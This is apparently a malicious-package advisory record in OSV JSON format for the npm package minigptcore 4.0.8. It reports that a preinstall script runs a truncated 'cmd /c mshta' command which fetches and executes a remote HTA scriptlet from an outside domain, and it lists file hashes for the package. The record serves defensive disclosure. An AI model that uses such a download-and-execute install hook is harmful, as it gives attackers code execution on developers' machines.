minigptcore

{"modified":"2026-07-13T06:54:44Z","published":"2026-07-13T06:54:44Z","schema_version":"1.7.4","id":"MAL-2026-10417","summary":"Malicious code in minigptcore (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0)\nOn `npm install`, the package's preinstall script (preinstall.js) invokes `cmd /c mshta http://fixars.top/...`, causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running `npm install`. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper.\n","affected":[{"package":{"ecosystem":"npm","name":"minigptcore"},"versions":["4.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"preinstall.js","sha256":"6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889","tlsh":"70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd"},{"path":"package.json","sha256":"ee2f5024254c6e3fd29d55cf88a90a18296218e8800ef14dcd67cb6e9f0bd27a","tlsh":"0ee07d245c52d5332dc223951d1b4011b3708f0b02107c0a67db082c03ce5bb94ff31d"}],"package_integrity":[{"filename":"minigptcore-4.0.8.tgz","hashes":{"sha1":"1270bf7a83e345094d7f7ac93e153dad410ac967","sha512_sri":"sha512-sw3/AEkH8CPxNh0NfhWStNTT73NYwwtd0J2WoMJCSLIrfNqgGx6Ehcc7MjY/GSmd+iNeU0BQ/04nwysHjWqbKw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/minigptcore/v/4.0.8"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-009841","import_time":"2026-07-13T07:40:12.463500542Z","modified_time":"2026-07-13T06:54:44Z","sha256":"8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0","source":"amazon-inspector","versions":["4.0.8"]}]}}